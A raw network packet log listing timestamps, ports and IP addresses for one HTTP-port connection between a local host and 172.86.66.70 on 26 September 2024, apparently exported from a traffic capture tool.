Sep 26, 2024 15:11:10.318886995 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318888903 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318898916 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318911076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318936110 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318953037 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.350081921 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350099087 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350111008 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350182056 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350193977 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350203991 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.350207090 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350219965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350235939 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350249052 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.350249052 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.350296974 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.350301027 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350315094 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350327015 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350380898 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.350388050 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350434065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350444078 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.350482941 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.350482941 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.365459919 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400295019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400331020 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400342941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400367022 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400378942 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400391102 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400401115 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400414944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400414944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400424957 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400438070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400454044 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400455952 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400469065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400492907 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400501013 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400505066 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400517941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400532961 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400532961 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400557041 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400634050 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400645971 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400652885 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400665045 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400676012 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400687933 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.400705099 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400705099 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400754929 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.400758028 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.402713060 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.402756929 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.402769089 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.402899027 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.402901888 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.402915955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.402928114 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.402940035 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.402951956 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.402952909 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.402993917 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.402993917 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403049946 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403064013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403074980 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403088093 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403105021 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403121948 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403158903 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403158903 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403220892 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403232098 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403244972 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403254986 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403266907 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403280020 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403292894 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403318882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403318882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403351068 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403485060 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403496981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403508902 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403520107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403532028 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403546095 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403564930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403574944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403574944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403578043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403678894 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403810978 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403840065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403851986 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403881073 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.403964043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403978109 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.403989077 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404000998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404043913 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404043913 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404093981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404148102 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404160023 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404172897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404203892 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404203892 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404227018 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404239893 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404251099 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404263020 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404273033 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404301882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404301882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404347897 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404476881 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404489040 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404500961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404514074 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404525042 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404536963 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404547930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404551029 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404551029 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404575109 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404587030 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404597998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404637098 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404725075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404736042 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404747963 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404758930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404772043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404778004 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404783964 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404798031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404808044 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404808044 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404809952 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404824018 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404836893 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404863119 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404863119 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.404983997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.404998064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405009985 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405049086 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.405049086 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.405100107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405113935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405126095 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405138016 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405165911 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.405179977 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.405249119 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405268908 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405281067 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405297041 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405308962 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405309916 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.405323029 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405334949 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405375957 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.405375957 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.405450106 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405462980 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405473948 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405483007 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.405498981 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.405687094 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.407407045 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.436178923 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436213970 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436224937 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436244965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436256886 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436269045 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436280966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436379910 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.436381102 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436379910 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.436394930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436402082 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436408043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436451912 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.436511040 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436531067 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436543941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436553955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.436568022 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.436630011 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.486759901 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.486793041 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.486804962 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.486880064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.486891031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.486891985 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.486905098 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.486917973 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.486953020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.486953020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.487015963 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487029076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487040997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487052917 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487063885 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.487066031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487080097 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487081051 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.487092018 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487119913 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.487155914 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.487255096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487267017 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487278938 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487291098 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487303019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487307072 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.487314939 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487329960 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.487358093 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.487358093 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489033937 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489048958 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489062071 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489108086 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489119053 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489121914 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489132881 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489140034 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489147902 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489159107 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489240885 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489242077 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489254951 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489267111 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489279032 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489299059 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489310980 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489377975 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489391088 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489403009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489454031 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489526987 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489540100 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489557981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489569902 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489583015 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489593029 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489593029 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489593983 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489607096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489619970 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489629030 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489708900 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489883900 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489914894 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489926100 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489938021 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.489952087 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.489999056 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490077972 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490091085 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490103006 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490114927 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490144014 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490154982 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490161896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490174055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490217924 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490313053 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490325928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490336895 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490349054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490360975 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490372896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490374088 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490374088 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490387917 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490432978 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490432978 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490458965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490474939 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490525007 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490525961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490540028 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490577936 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490658998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490669012 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490674973 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490688086 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490703106 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490715027 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490715981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490736008 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490793943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490854025 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490866899 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490879059 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490890026 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490902901 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490914106 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490926027 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490930080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490930080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.490936995 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.490952015 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491025925 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491043091 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491048098 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491087914 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491123915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491136074 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491147041 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491178036 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491261005 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491272926 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491285086 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491297007 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491307974 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491318941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491332054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.491338015 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.491338015 CEST	49727	80	192.168.2.12	172.86.66.70
